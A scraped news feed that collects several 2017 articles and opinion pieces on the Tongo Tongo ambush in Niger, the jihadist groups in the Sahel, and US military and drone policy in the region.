Under US rules of engagement, troops can only accompany Nigeriens when enemy contact is considered “unlikely.” Although there had been at least 46 militant attacks in the area in the last 18 months, the US soldiers were in unarmored pickups and relatively lightly armed when they ran into an ambush by militants just outside Tongo Tongo, a village of several dozen mudbrick homes. Their assailants easily outgunned them with sniper rifles, rocket-propelled grenades, and automatic weapons mounted on trucks, according to a Nigerien anti-terrorism official. The attack lasted for at least two hours, ending only when military aircraft flown by French soldiers stationed in neighboring Mali flew overhead. The Mirage jets and Puma helicopters were unable to drop bombs for fear of hitting Nigerien or US soldiers because they were not in radio contact with them, according to US officials.

Officials familiar with such operations have questioned whether the mission should have taken place at all. Approaching high-value militants is by nature a delicate operation that often requires many months of intelligence-gathering and meticulous planning, military and intelligence officials told BuzzFeed News. That appears to be far from the case in this operation.

“Socafrica has, in recent years, become increasingly secretive, unaccountable, clientelistic, and — as recent episodes suggest — reckless. Odds are they didn’t have the granularity of intel to offset the risk of such a mission,” said Matthew Page, a former Africa specialist with the State Department’s intelligence arm. “I think the bigger issue at stake here is the degree to which Special Forces Africa is increasingly seen by US diplomats and defense officials as a ‘rogue element’ that is pushing the envelope on its missions and activities in the Sahel, and elsewhere in Africa, without explicit buy-in from US policymakers, diplomats, or even senior military commanders.”

Questionable decisions were made in the hours preceding the attack. By the afternoon of Oct. 3, the soldiers had reached their destination — a militant bush camp in a village called Akabar, located in a nature reserve some four miles inside the Malian border, a second Nigerien official told BuzzFeed News. A US Defense spokesperson would not comment on the exact nature of the operation, but said: “We don’t conduct any operations without the consent of the respective host nations.” The US’s military partnership in the region allows them to accompany Nigerien troops up to 50 kilometers inside the Malian border.

After destroying the deserted camp, the patrol made a puzzling decision: They decided to keep pursuing their targets by combing nearby villages, according to the Nigerien general and the anti-terrorist unit official. That meant, without prior planning or any contingency plans, they would be extending the time spent in territory full of militants and their informants — a basic error, say US officials with dozens of such missions under their belts.

“That’s not how it’s done,” Donald Bolduc, a retired general who led Socafrica until June, said of what’s known officially about the mission so far. Senior militant leaders are normally well protected, Bolduc said, with rings of security guards and layers of militants who communicate with one another via radio, he said. “The resources and planning didn’t seem to be there for that kind of operation,” he said in an interview with Reuters in October.

Long after nightfall, when the mission was due to be debriefed back at the base, instead US soldiers sent a radio call to those awaiting their return in Ouallam. That decision to stay, which was relayed in that call, proved to be a disastrous mistake. “They sent a message just around midnight saying that because their position was still around the border with Mali, and that’s a high-danger zone, they would stay the night there,” a second Nigerien senior military official briefed on the matter said. It’s unclear whether that decision came from the soldiers on the ground or their commanders back at base.

Moving around in the dark would make the patrol more vulnerable to attack from militants who were far more familiar with the terrain. The mission set up camp and began a night-watch rota, the official said. They set off to return to base at daybreak, pausing briefly to rest in an unnamed village just after dawn broke.

“You could call it negligence … They were moving around in a zone owned by militants. They let their guard down.”

The decision to stay overnight while deep in militant territory was all the stranger considering the very thing they’d set off to do, both US and Nigerien military officers said. “You could call it negligence,” a Nigerien army general briefed on the matter told BuzzFeed News from Niamey. “They were moving around in a zone owned by militants. They let their guard down.”

The general said it was likely informants had relayed the fact that US soldiers were in the area to senior militants. “There are a dozen villages around the frontier with Mali. The enemy took advantage of informants in these villages,” the general said.

The convoy didn’t radio as they were approaching Tongo Tongo, which was far from where they’d spent the night, because by then they were considered outside the immediate danger zone. Shortly before midday, the mission stopped outside the tiny village because it had a well. The US soldiers had supplies of bottled water, but their Nigerien counterparts needed to fill their flasks, with temperatures hovering around 95 degrees Fahrenheit.

Souley Mane, a 34-year-old builder from the village, saw the convoy pull up. He said the soldiers approached him to ask if they could use the well. Mane told them he would have to let the village chief know there were soldiers in the area.

Mane said the village chief, Alassane Mounkaila, was surprised to hear soldiers were in the area because he was usually forewarned by the Nigerien army when patrols were taking place. “I told him, there are white soldiers with them, too. He immediately got up to go and see them,” Mane told BuzzFeed News in an interview in Ouallam. “All I know is they needed more water and while they were here, they decided to take the opportunity to question the village chief.”

When the team set off over an hour later, a group of armed men on motorbikes cut them off from the front, according to an account by a Nigerien anti-terrorist official. Several motorbikes with similarly armed militants then came in from behind. Having “sandwiched” the soldiers, who were initially able to return fire, there was a temporary lull before vehicles mounted with machine guns rolled onto the scene, and unleashed heavy gunfire in an attack both US and Nigerien officials have said was professionally executed.

The Oct. 4 ambush bore the fingerprints of Sahrawi, a former al-Qaeda veteran who, having switched allegiance to ISIS, is looking to climb the ranks among the militant groups jostling for influence in the region.

US officials, puzzling over what they say was an hour-long delay before soldiers requested aerial support, believe the time it took for the more heavily armed militants to arrive may have led the troops to underestimate the gravity of the attack. An hour after the first contact with militants, a message was relayed to French soldiers, who have taken a lead in anti-terrorism operations in their former colony. By the time French Mirage jets flew overhead two hours after the attack began, four soldiers from each nation had been killed, and the rest had scattered over several kilometers, the Nigerien general said.

“When deaths occur in a mission in which, despite the risks, killing wasn’t foreseen, then the mission was a disaster,” the general added.

A few days later, Mounkaila, the village chief fell under suspicion from both US soldiers and Nigerien officials for being in cahoots with militants. He has been detained ever since.


Jane Hahn for BuzzFeed News

A sign reading ” No proliferation of small arms and light weapons” outside of Boubon Village, Niger, Nov. 1, 2017.

Niger rarelymakes it into the US news, with many people assuming the country is a misspelling of its better-known neighbor, Nigeria. Even senior US officials seemed unaware of the shadow war happening there, let alone the “mission creep” that is taking place under a cloak of darkness afforded by a state of emergency imposed by the Nigerien government.

The US has a mandate only to train and assist — and explicitly not to engage in combat missions — although Niger also hosts two US surveillance drone bases. Niger’s defense minister has since announced he has asked the US to begin using armed drones for the first time in the impoverished nation.

That’s exactly the sort of mission creep that’s making some observers increasingly uneasy about the 800 US troops stationed in the country, the biggest foreign contingent by far. Mamane Touda, an official at the country’s top civil rights organization, said there was something else that troubled him about US soldiers “creeping in — and creeping in is the phrase I mean to use,” he said in an interview in Niamey.

What’s most troubling, said Touda, was that both US and Nigerien soldiers were operating in three counties that have been under a state of emergency since March. “And the state of emergency was declared with no parliamentary consultation whatsoever. That’s totally illegal,” said Touda.

With ISIS’s self-proclaimed caliphate in disarray in Syria and Iraq, the organization’s newest branches sprouting in Africa offer a glimpse into the playbook its affiliates might use.

“The soldiers were found naked because the militants took everything they could — military uniforms, weapons, comms equipment.”

In Niger, Sahrawi commands the two-year-old ISGS, which seems to be refining its tactics and showing that they can cause significant damage and mayhem with a relatively small number of fighters, said Andrew Lebovich, a regional security expert with the European Council on Foreign Relations. “They’re not really geared towards seizing territory — these attacks are happening on trucks. But even so, they’ve been able to inflict a fair amount of pressure on the Nigerien military.”

The manner in which the US soldiers’ corpses were found pointed to a plan to capture at least some of them alive. “The soldiers were found naked because the militants took everything they could — military uniforms, weapons, comms equipment,” the Nigerien general told BuzzFeed News, contradicting US officials who have publicly said there were no indications troops fell into enemy hands. “They wanted to cart them away [alive] so that people wouldn’t know if they were dead or alive as hostages. It would have been a negotiating tactic.” That plan was likely scuppered when the arrival of French jets forced the militants to flee.

Still, a desire to keep under the radar as the group expands could explain why ISIS has been slow to seize on what would normally be a major propaganda coup. In the sect’s Amaq publication, which typically glorifies ISIS attacks, Tongo Tongo was only mentioned briefly once. For a group that is quick to claim attacks by its affiliates even when those links are tenuous, it seems that in Niger they want to build up numbers on the ground before taking responsibility for attacks that would likely provoke retaliatory airstrikes.

For those living in Tongo Tongo, little has changed since it became the site of a massacre. Mane, the builder who lives there, recently stumbled on a makeshift graveyard of militants some 20 kilometers from the village.

The graveyard — evidence the militants felt comfortable enough either to wait around or return to bury their dead after the ambush — isn’t what scares him most. It’s the sound of engines on the village’s sandy roads that troubles him now. “The only people that have motorbikes here are them because they use them for patrols,” the builder said. “And we’ve been seeing motorbikes coming in and out of the village, always in pairs or threes, almost everyday ever since.”


Jane Hahn for BuzzFeed News

Abdoulaye Moumouni walks with his herd to the Niger River on the road to Boubon in Niger Nov. 1, 2017.

Almost two weeks after the Tongo Tongo ambush happened, the incident spiraled into a political disaster after Donald Trump got into a public spat with the widow of one of the dead soldiers. Myeshia Johnson was on her way to receive her husband’s body when Trump told her in a condolence call that her husband “knew what he signed up for,” prompting a series of claims and counterclaims over what he said.

Key senators said they hadn’t realized US troops were even in a region where Islamist militant groups have taken root in recent years. “We don’t know exactly where we’re at in the world, militarily, and what we’re doing,” senator Lindsey Graham said.

Some 1,200 soldiers US soldiers are stationed in the Sahel and the US is being drawn deeper into a complicated situation where militants have been operating in the region for years.

On a blistering day in January 2013, Abdoulaye Moumouni was moving his cattle in search of water in northwestern Niger when a group of turbaned men appeared on the horizon.

The 50-year-old herder was somewhere so far off road it had no name; the nearest inhabited place was Ayorou, a speck of a village a full day’s walk away. As a member of the seminomadic Fulani ethnic group, Moumouni was used to going days without seeing anyone else but other herders. He initially assumed the three men were Tuareg rivals, with whom the Fulanis have been fighting for generations over valuable livestock.

As the men got closer, Moumouni saw that their turbans were not wrapped in the Tuareg style. They carried automatic weapons, not the carved knives or homemade muskets typically used to defend against desert animals.

“You could tell they weren’t from here. The way they were dressed, and they had long beards and serious guns,” said Moumouni, as he led his herd through fields of sun-frazzled millet.

“You could tell they weren’t from here. The way they were dressed, and they had long beards and serious guns.”

Their leader wanted to know where the nearest well was located — a lifeline in a region where temperatures soar up to 106 degrees Fahrenheit. A second man gestured to indicate they were hungry. Frightened, Moumouni gave them cheese and milk from his meager supplies. The men left without thanking him.

Since then, Moumouni has run into them every few months as he crosses the Sahel. Each time, the men demand he pays them zakat — a Muslim tax, or alms-giving, that’s second only to prayer in expressing devotion. A few times, they questioned his Islamic faith, asking him if observes the five daily prayers. Mainly though, they stole and killed his animals, roasting them in makeshift bush camps they set up in the desert.

These men were militants drawn to a number of different militant groups that had sprung up in the vast desert area following the demise of the former dictator Muammar Gaddafi in neighboring Libya in 2012. One such group was formed by Sahrawi and a notorious Al-Qaeda commander called Mokthar Belmoktar. Although based in Niger’s neighbor Mali, it wasn’t long before the chaos spilled over porous borders in the vast desert region.

Two years into their partnership, the cofounders began to diverge on the best way to grow as an organization. They had watched, from thousands of miles away, the rise of ISIS and its aims of establishing a global caliphate. In May 2015, Sahrawi took an oath of bayah — a pledge of allegiance — to ISIS and its leader, Abu Bakr Al-Baghdadi. He called his new group Islamic State in the Greater Sahara, and soon began trying to grow his ranks.

Such extreme religious ideology didn’t gel with the moderate version of Islam that Fulani herders, and indeed most Nigeriens, practice. But many signed up because the Islamists offered them arms and weapons training — which the Fulani wanted to use against their Tuareg rivals. Men like Chefou Doundou, the target of the Oct. 4 mission, were key to convincing Fulani herders to sign up. Doundou was a former livestock farmer who had turned to militancy a decade ago to secure weapons to protect his increasingly large herds.

Still, ISIS’s central command in Raqqa only saw the affiliate in Niger as a relatively lowly “battalion.” In order to be recognized as a wilayat or province — a precondition to them funneling valuable logistical and financial support — Sahrawi needed to strike bigger targets.

An opportunity came Sahrawi’s way on Oct. 4. Whether or not he and his men knew US soldiers were part of the convoy, the attack catapulted them into the global spotlight.

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Monica Mark is the West Africa Correspondent for BuzzFeed News and is based in Dakar, Senegal.

Contact Monica Mark at monica.mark@buzzfeed.com.

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]]> https://briefnews.eu/inside-the-botched-raid-that-left-four-us-soldiers-dead-in-niger/feed/ 0 US deployment of drones in Niger is a ‘big problem for Africa’ https://briefnews.eu/us-deployment-of-drones-in-niger-is-a-big-problem-for-africa/ https://briefnews.eu/us-deployment-of-drones-in-niger-is-a-big-problem-for-africa/#respond Sun, 03 Dec 2017 04:52:00 +0000 http://briefnews.eu/us-deployment-of-drones-in-niger-is-a-big-problem-for-africa/ The Niger government’s recent decision to allow American drones over its territory will accomplish little in the fight against terrorism, Africa analyst Lawrence K Freeman told RT, because it lacks a strategy that deals with the issues in the region.

On Thursday, Niger officials announced they would allow the Pentagon to operate armed drones, or unmanned aerial vehicles (UAVs), out of the country’s capital, Niamey. The drones will be used to conduct strikes on terrorist groups like al-Qaeda and its affiliates that operate along the country’s border with Mali. The move would allow the US military to significantly expand its reach in West Africa.

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© U.S. Air Force

But Africa affairs analyst Lawrence K Freeman says that drone strikes alone will be unlikely to change the region’s jihadist landscape, which is being driven by more than just a handful of key operatives.

“So, this is a big problem for the Niger government, for West Africa, and for all of Africa – [that Niger] is now allowing the US to carry out these kind of military attacks,” Freeman told RT. “What is missing from this, is a strategy.

“There has not been a strategy now for many, many years through several presidential administrations, including the current one.”

The thinking in Washington is that by taking out key figures in the terrorist chain of command, this will help bring down the whole network. This approach has worked against some militant groups in the past but is unlikely to work here, Freeman said.

“The Sahara Desert itself, which goes all the way up to the Mediterranean, this is larger than the US. The Sahel desert stretches from the east end to the end of Africa. It is impossible to patrol all these areas. Therefore, you might pick off a few people here and there, which is useful, but you’re not going to stop the problem of terrorism.”

US drone strikes under presidents George W. Bush, Barack Obama and now Donald Trump have claimed thousands of innocent lives across the world, Freeman said, with no tangible reduction in terrorism. Indeed, a New York Times report back in 2012 claimed that the Obama administration, which was conducting operations in Pakistan, Afghanistan, Yemen and Somalia, considered “all military-age males in a strike zone as combatants… unless there is explicit intelligence posthumously proving them innocent.”

Now it seems the US wants to export that model to West Africa.

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© Baz Ratner

“The African countries now are being pressured by the West and by the Trump administration to allow these armed drones and another military buildup, and I am sure it is going to cause them many, many internal problems,” Freeman said. “And it will not solve the problem of terrorism, and that is a sad point about it.”

Indeed, Freeman added, the collateral damage from these attacks may even give the terrorists a propaganda boost, though the chronic levels of poverty and underdevelopment in the region already provide a fertile ground for extremist recruitment.

“If you take northern Mali, Niger, Chad – I have been in Chad, I have been in northern Nigeria – these places are totally undeveloped. Therefore, they are perfect further bases for Boko Haram, for al-Qaeda, for ISIS (Islamic State) and others to operate, recruit and establish bases.

“So why not to take that territory from them? Why not to occupy with development, with cities? This will actually move the terrorists out. And the Europeans now in an existential crisis, because of the hundreds of thousands of Africans that have migrated, plus the hundreds of thousands that appeared to be in Libya slaves? And this is all because Africans in West Africa cannot live there anymore. They are desperate to get out, because there are no jobs, and there is no hope for the future.”

Instead of dropping bombs, the analyst suggested, the United States and Europe should make further investments in the region, as China is doing.

“This is the solution, and the US should join that effort, rather than carry out these piecemeal military attacks which in the long run are not going to work and may further destabilize these countries, as US military troops are not going to be welcome all over Africa.”

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]]> https://briefnews.eu/us-deployment-of-drones-in-niger-is-a-big-problem-for-africa/feed/ 0 Niger Aftermath Highlights Need for Stronger African Policy https://briefnews.eu/niger-aftermath-highlights-need-for-stronger-african-policy/ https://briefnews.eu/niger-aftermath-highlights-need-for-stronger-african-policy/#respond Thu, 09 Nov 2017 05:54:51 +0000 http://briefnews.eu/niger-aftermath-highlights-need-for-stronger-african-policy/

Carolyn Kenney is a policy analyst for national security and international policy at American Progress, and John Norris is a senior fellow and executive director of the Sustainable Security and Peacebuilding Initiative at American Progress.

Congressional hearings recently delved into last month’s attack on a joint patrol in a Nigerian village near the border with Mali. American special forces troops and Nigerian soldiers were ambushed by Islamic State militants, resulting in the tragic deaths of five Nigerian soldiers and four U.S. servicemen. Details of the ambush are still emerging, and the administration’s rationale for having troops there and the specifics of what went wrong remain troublesomely opaque.

Stepping back from the immediate controversies and the fact that patrols like this were also conducted under President Obama, we believe the engagement provides an opportunity to examine a current lack of stated U.S. policy toward Africa. While using counterterrorism forces to fight off Islamic militants can be very useful for the U.S. security portfolio, a counterterror push without a broader political, diplomatic and economic strategy for U.S. relations with such a diverse continent will have limited returns.

Continuing on this road could be deeply corrosive to U.S.–Africa relations.

President Trump has yet to define a specific set of policies toward Africa. Headlines have focused on his poorly received jokes or that infamous bungled reference to Nambia. But other U.S. officials have also missed opportunities: Secretary of State Rex Tillerson, for example, backed out of a high-level meeting with the chairperson of the African Union, Moussa Faki, after inviting him to Washington. And other actions, like placing Chad, a critical U.S. counterterrorism partner, on the latest travel ban owing to a passport paper standards glitch, are both unfortunate and easily avoidable. The White House also still has a number of critical diplomatic and official posts related to Africa to fill, and no one has been appointed to head the Africa Bureau at the State Department. Only five ambassadors have been confirmed to the 54 posts in Africa.

Continuing on this road could be deeply corrosive to U.S.–Africa relations, which would be a lost opportunity in that Africa promises to be one of the most dynamic export markets in coming years. The U.S. partnership has always been valued on the continent, in part because it wasn’t driven by lingering colonial motives.

We hope U.N. Ambassador Nikki Haley’s visit to the continent brings some clarity, though a lack of critical staff and the prospect of deep diplomatic and development budget cuts will make this difficult. The president’s proposed budget, if passed, would cut aid to Africa by almost $ 3 billion, including for life-saving antiretroviral drugs.

The events in Niger, meanwhile, underscore that the U.S. military is playing an expanding role on the continent. Our concern? That this approach will become the administration’s preferred vehicle for carrying out policies in Africa. While U.S. military engagement with African counterparts is important and necessary, it is no substitute for a coordinated approach to trade, economic development, building peace and forging alliances.

Some sensible first steps? The White House should quickly move to nominate and confirm competent Africa specialists for key positions at the State Department and U.S. Agency for International Development. There also should be an integrated look at threats emanating from Africa, as well as the region’s enormous potential, followed by the devising of concrete steps to encourage African leaders to reduce trade barriers on the continent and with the United States as well.

We realize that engaging with the continent requires pragmatic approaches and that some important allies in the region have a long road ahead to become more democratic and accountable. Having a more coordinated, coherent approach to Africa is essential in helping make sense of not only the threats we face, but the opportunities we can’t afford to neglect.

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]]> https://briefnews.eu/niger-aftermath-highlights-need-for-stronger-african-policy/feed/ 0 America’s options in Niger: Join forces to reduce tensions or fan the flames https://briefnews.eu/americas-options-in-niger-join-forces-to-reduce-tensions-or-fan-the-flames/ https://briefnews.eu/americas-options-in-niger-join-forces-to-reduce-tensions-or-fan-the-flames/#respond Fri, 03 Nov 2017 09:45:02 +0000 http://briefnews.eu/americas-options-in-niger-join-forces-to-reduce-tensions-or-fan-the-flames/ RTS1FFJ2Aaron J. Jenne/US Air Force via REUTERS

Numerous reports have appeared recently about beefing up US military presence in Niger, and potentially allowing American forces to more actively target suspected jihadist leaders in the region. This follows the deaths of US and Nigerien soldiers in Niger on October 4.

Most US and Nigerien officials have made it clear they believe that the attack was committed by the self proclaimed Islamic State in the Greater Sahara (ISGS) under Adnan Abu Walid al-Sahraoui, or fighters under his sway.

But the links between militant groups in the region — whether identified as “jihadist” or not — are often fluid and belie easy categorisation. This label obscures a situation which deserves much more consideration before pulling the trigger. And it takes attention away from the experiences of local populations who are often stuck between militant groups and sometimes hostile governments and foreign armies.

The area in which the American soldiers died is already replete with all possible forms of foreign or domestic interventions. These range from muscular to diplomatic, security-oriented to development oriented. The G5 Sahel, a regional initiative backed by the French to enhance security cooperation, presents one opportunity to consolidate and harmonise these efforts. For now, though, it has struggled to develop its capabilities and to raise the money necessary to function.

Rather than considering whether they should revise their military rules of engagement, US authorities should ask themselves how they could contribute to what already exists. They should also understand that without attention to the local environment and genuine care for local civilians, the fire along the Mali-Niger border will only grow hotter and more difficult to contain.

History of jihadist groups in Greater Sahara

niger special forcesUS Army

The history of Islamic State in the Greater Sahara stems in part from the fracturing of jihadist groups in Mali. It’s also linked to the complicated tableaux of local conflicts that exploded from the 2012 Tuareg rebellion and subsequent jihadist occupation of the country’s north.

Abu Walid al-Sahraoui comes from a branch of a wealthy trading family which fled from the city of Laayoune (al-Ayoun) in the Western Sahara for refugee camps in Algeria. These were set up after Morocco occupied the Western Sahara in 1975. Sahraoui reportedly joined the Western Sahara independence movement, the Polisario Front, and received military training. He demobilised amid promises of a UN referendum on the status of the Western Sahara. The ceasefire, originally scheduled for 1992, still has not taken place.

Sahraoui became disappointed by the lack of political progress and became involved in trade with Malian Arab communities. His religious views grew more radical during this period. In 2012 he emerged as a spokesman of the Movement for Oneness and Jihad in West Africa (MUJAO). This was a splinter group from al-Qaeda in the Islamic Maghreb (AQIM), which grew out of the Algerian civil war but eventually established deep roots in the Sahel. MUJAO occupied Gao along with other fighters. It eventually expelled the largely Tamasheq independence movement, the National Movement for the Liberation of Azawad (MNLA), from the city.

During this period jihadist groups in Mali received an influx of new recruits. This included significant numbers of Nigerien and other Peul from central Mali and the Niger River Buckle. There were a number of reasons for this. One was rising communal tensions driven by increasing competition for grazing space, theft of cattle and attacks on Nigerien Peul communities who increasingly had to graze in Mali’s north-eastern regions. Tensions grew between Peul and sedentary communities. It also grew with other traditionally nomadic and semi-nomadic communities like the Daoussahak. Another was the freer circulation of weapons in the 1980s and 1990s. All contributed to a degradation of security for civilians along the Mali-Niger border area.

French soldiers prepare their armoured vehicles at the Relay Desert Platform Camp (PfDR) in Ansongo, Mali, October 15, 2017, during the regional anti-insurgent Operation Barkhane. REUTERS/Benoit Tessier Thomson Reuters

The Malian rebellions and civil war of the 1990s further exacerbated these tensions. The arming of individual communities and continued clashes with Tamasheq communities prompted the creation of the first Nigerien Peul militia in the mid-to-late 1990s. Although these conflicts were tempered at various times through community and government intervention, the 2012 rebellion in Mali pushed them back into the foreground.

The fact that a number of Daoussahak fighters joined the MNLA — and to a lesser extent the jihadist movements — meant that regional Peul communities were at a marked disadvantage in 2012 compared with their rivals. MUJAO was able to recruit heavily among Toleebe Peul in particular. The group demonstrated astute knowledge of local communities and emphasised its Sahelian membership and the centuries-long history of Sahelian and West African jihads.

After the French intervention in January 2013, MUJAO shifted significantly. Some of its key players formed a pro-government Arab militia which ended up signing the peace agreement with the separatists in 2015. Its presence at official events is now completely normalised.

Those who did not sign fled the cities of northern Mali, joining the newly-formed Al-Mourabitoun along with groups loyal to veteran jihadist commander Mokhtar Belmokhtar. But Sahraoui’s disagreements with Belmokhtar led Sahraoui to split away in May 2015. He declared his allegiance to the Islamic State.

FILE PHOTO: A U.S. special forces soldier demonstrates how to detain a suspect during Flintlock 2014, a U.S.-led international training mission for African militaries, in Diffa, Niger March 4, 2014. REUTERS/Joe Penney/File photoThomson Reuters

Sahraoui gained a reputation as a hardliner during the occupation of Gao. But he wasn’t necessarily predisposed ideologically to embrace the IS agenda.

His behaviour looks more like an opportunistic move to ensure his political survival in a changing Saharan jihadist landscape where alliances are reversible.

At the moment, Sahraoui is not as powerful as some say. His social base remains tiny. His claim that he represented all of al-Mourabitoun was quickly countered by Belmokhtar who made it clear that only a portion of the group’s fighters followed Sahraoui.

It also took IS until October 2016 to acknowledge Sahraoui’s pledge of support. And his group has only officially claimed a handful of attacks in Burkina Faso and one in Niger.

Local context is everything

For now, there has been no claim made on the Tongo Tongo attack of October 4 against the American soldiers. But even if suspicions that al-Sahraoui was responsible prove true, the local context — rather than the framework of global terrorist groups such as IS — remains essential to understanding what is happening.

One factor, for example, is what side local communities will eventually pick to better protect their interests in a highly politically contested space.

The Nigerien government has done little if anything to improve the situation. It has attempted to use local armed groups as proxies to combat the jihadist threat across the Malian border in Ménaka. This has further inflamed the conflict within communities. It has also led to retaliatory violence and pushed communities to align with whatever armed group can best protect them. Tensions even arise among groups chosen to carry out counter-terrorism activities because tribal leaders realise the damage they can cause to a fragile local social fabric.

niger armyUS Army

The relations Sahraoui entertains with other armed groups in the area are also crucial for future developments. Even after he split from AQIM, the organisation made it clear it would welcome him back under the right circumstances.

In addition, according to local interlocutors with links to Ménaka and Gao, al-Sahraoui’s forces frequently cross paths with those belonging to JNIM (the AQIM confederation set up in March 2017). In some instances they even camp nearby. This suggests that there is a fluidity between the groups. This makes sense given that the fighters from both groups have known one another for years — and in some cases fought together.

Despite the frequent talk of the threat posed by al-Sahraoui, these contacts and the pace of attacks committed in Ménaka in particular suggest that JNIM also has strong local networks — as is the case elsewhere in northern Mali.

All this suggests that al-Sahraoui is far from predominant. And dealing with the security threats in a region riddled with deep political fractures breeding insurgency also means much more than just hunting and targeting jihadist commanders.

Yvan Guichaoua, Maître de conférences sur les conflits internationaux, University of Kent and Andrew Lebovich, Doctoral candidate in African History, Columbia University This article was originally published on The Conversation. Read the original article.

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]]> https://briefnews.eu/americas-options-in-niger-join-forces-to-reduce-tensions-or-fan-the-flames/feed/ 0 Here’s why the United States is in Niger https://briefnews.eu/heres-why-the-united-states-is-in-niger/ https://briefnews.eu/heres-why-the-united-states-is-in-niger/#respond Mon, 30 Oct 2017 08:16:04 +0000 http://briefnews.eu/heres-why-the-united-states-is-in-niger/ US Army Special Forces Niger exercise training AfricaUS Army/Sgt. 1st Class Christopher Klutts

  • Four U.S soldiers were killed in an ambush in Niger in early October.
  • For years, the United States has aided Niger in creating a stable democracy after the country asked for assistance.
  • The United States also keeps a strategic base in Niger because the Sahara Desert is a popular hideout for extremist groups.

Many Americans had no idea that the United States had soldiers in Niger, let alone why, until four were killed in an ambush earlier this month.

Part of the answer is that U.S. special operations forces have typically been operating in 70 to 80 countries worldwide for two decades. Their task has been mainly to build capacity in the security forces of partner nations, in order to promote both stability and broadly accepted norms in democratic societies. The special operations presence in Niger is only a few years old, and has been tied to U.S. efforts to defeat violent extremists operating with impunity, especially to the north in Mali and to the south in Nigeria.

A larger part of the answer to why U.S. forces are in Niger today lies in Niger’s remarkable development as a relatively stable nation in its region. The United States had much to do with that, and earned the friendship and respect of the Nigerien government and its people.

In the early 1990s Niger took an unusual political step for an African nation in the Saharan region known as the Sahel. Its autocratic president at the time approached the United States and other embassies in Niamey to help create a multi-party democracy in the desperately impoverished nation.

Niger perennially ranked at the bottom of the U.N. Human Development Index and suffered regularly from extreme droughts that sometimes led to famine. Experts often blame political forces for famine, and Niger was no exception. Moreover, in that period the country experienced violent uprisings by Nigerien ethnic Tuareg groups who felt dispossessed and complained that the national government ignored their needs. There was no U.S. military presence in Niger, or anywhere nearby, besides the embassy’s Marine security guard contingent and a one-man security assistance program.

After the Nigerien government request, the U.S. diplomatic mission — the State Department, U.S. Agency for International Development, the now-defunct U.S. Information Agency, and other governmental entities — collaborated with other embassies in Niamey, U.N. entities, and nongovernmental organizations to help Nigeriens establish the basis for participatory democracy and a more robust civil society, including the basic laws and regulations for multiparty elections.  In 1993 Tuaregs, Nigeriens of Arab descent, and other marginalized groups ran for office alongside majority ethnic groups in the first multiparty elections since independence in 1960.

Joint Chiefs Chairman Gen. Joseph Dunford, speaks to reporters about the Niger operation during a briefing at the Pentagon, Monday, Oct. 23, 2017.Manuel Balce Ceneta/AP

The transition to a participatory, transparent, and accountable government is long and uneven in any nation, and so it was with Niger. Coup attempts intervened along the way. The country requires substantial international assistance to build the economic and social infrastructure it needs to provide just the basics for its population, particularly in health and agriculture. But today it still enjoys multiparty elections and improved governance. Its prime minister for the past few years has been an ethnic Tuareg.

Of course, another reason for the U.S. military presence in Niger is its strategic location smack in the middle of the Sahara. The desert provides an ungoverned space where terrorists and violent extremists can thrive. From Niger, coalition forces can address several specific threats to regional and global security, especially al Qaida in the Maghreb, Boko Haram, and Islamic State offshoots.

The lesson we can draw from “Why Niger?” is that US government diplomatic and development strategies to build stability, legitimacy, and capacity in fragile nations can be a foundation for American security, even without direct and immediate threats to America present.  In Niger twenty-five years ago, our strategy was not justified by fighting al Qaida or the Islamic State, which did not exist at the time. But we certainly benefit from the consequences of those policies today, where local and international security forces can implement counterterrorism strategies for the entire region. When many donors assist in building good governance, thereby minimizing ungoverned spaces, we deprive extremists of the territory from which to metastasize into greater threats. Our military, particularly special operations forces, contributes significantly to building partner capacity and is an inextricable part of U.S. national security strategy, alongside diplomatic and development counterparts.

The fact remains that armed conflict in West Africa represents a threat to the United States and its allies. The tragic deaths of American and Nigerien forces earlier this month remind us that operating in the Sahel region of Africa remains dangerous. But the reason U.S. forces are there at all should be assessed in light of American strategic goals with respect to violent extremism, and the history of U.S. support for an African nation like Niger.

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]]> https://briefnews.eu/heres-why-the-united-states-is-in-niger/feed/ 0 The Niger Ambush Signals Next Likely ISIS Fight https://briefnews.eu/the-niger-ambush-signals-next-likely-isis-fight/ https://briefnews.eu/the-niger-ambush-signals-next-likely-isis-fight/#respond Thu, 26 Oct 2017 06:41:48 +0000 http://briefnews.eu/the-niger-ambush-signals-next-likely-isis-fight/

OZY Senior Columnist John McLaughlin teaches at the Johns Hopkins School of Advanced International Studies and was deputy director and acting director of the CIA from 2000 to 2004. Follow him on Twitter: @jmclaughlinSAIS.

The attack on U.S. Special Forces in Niger earlier this month highlights many classic challenges of counterterrorist operations. It also underlines what should come as no surprise to anyone familiar with the recent history of the Sahel region — that it has become one of the world’s most dangerous and unpredictable hotbeds of jihadist activity.

The facts are still emerging about the October 3 incident in western Niger, where about 10 U.S. Green Berets were on what may have been a reconnaissance mission in the village of Tongo Tongo. Leaving the village, they were attacked by about 50 terrorists armed with machine guns and rocket-propelled grenades; the American soldiers had only rifles. The firefight lasted an hour before the U.S. team requested help. French aircraft and drone coverage arrived a half hour later; the French did not drop ordnance, for reasons unknown. A contract company then extracted the U.S. troops, including three slain soldiers; the fourth soldier killed, Sgt. La David Johnson, was recovered 48 hours later.

One theory making the rounds as congressional and Pentagon investigations get underway is that villagers sympathetic to the terrorists delayed the U.S. team’s departure from the village to help set up the ambush, which is plausible. In every counterterrorist or counterinsurgency operation, this problem — sorting out the friendlies from jihadist sympathizers — is a challenge. It was true when I was in Vietnam in the 1960s, and a similar thing happened to the CIA in Khost, Afghanistan, in 2009 when a source thought to be friendly turned out to be a suicide bomber who killed seven CIA officers.

You can put together a ragged jihadi gang just by roaring through this area with some pickup trucks, SUVs, guns and money.

This problem flows from the reality that terrorists and insurgents can only succeed by gaining support in the population, hiding among them or intimidating them into cooperation. The only way to detect this is through intelligence derived from an agent network or technical means. We do not yet know about the quality of intelligence or warning the team may have had.

But without second guessing the investigations, the dangers inherent in this situation should have been obvious. This is one of the most dangerous and least governed parts of Africa. Although the Nigerien government has been a good counterterrorism partner, the landlocked country, Africa’s largest, is 80 percent desert and encircled by six other countries, most with loosely patrolled borders and vast ungoverned spaces. It is crisscrossed by ancient smuggling routes used by drug traffickers, other criminal elements and numerous jihadi groups.

Although the so-called Islamic State in the Greater Sahel is thought to be the perpetrator, labels do not mean much in that part of the world. The region has a few fairly coherent groups, including al-Qaida in the Islamic Maghreb (AQ/IM), al-Shabaab and Boko Haram. But dozens of jihadi militias also float in and out of the area, coalescing, breaking apart, changing names and often offering themselves for hire.

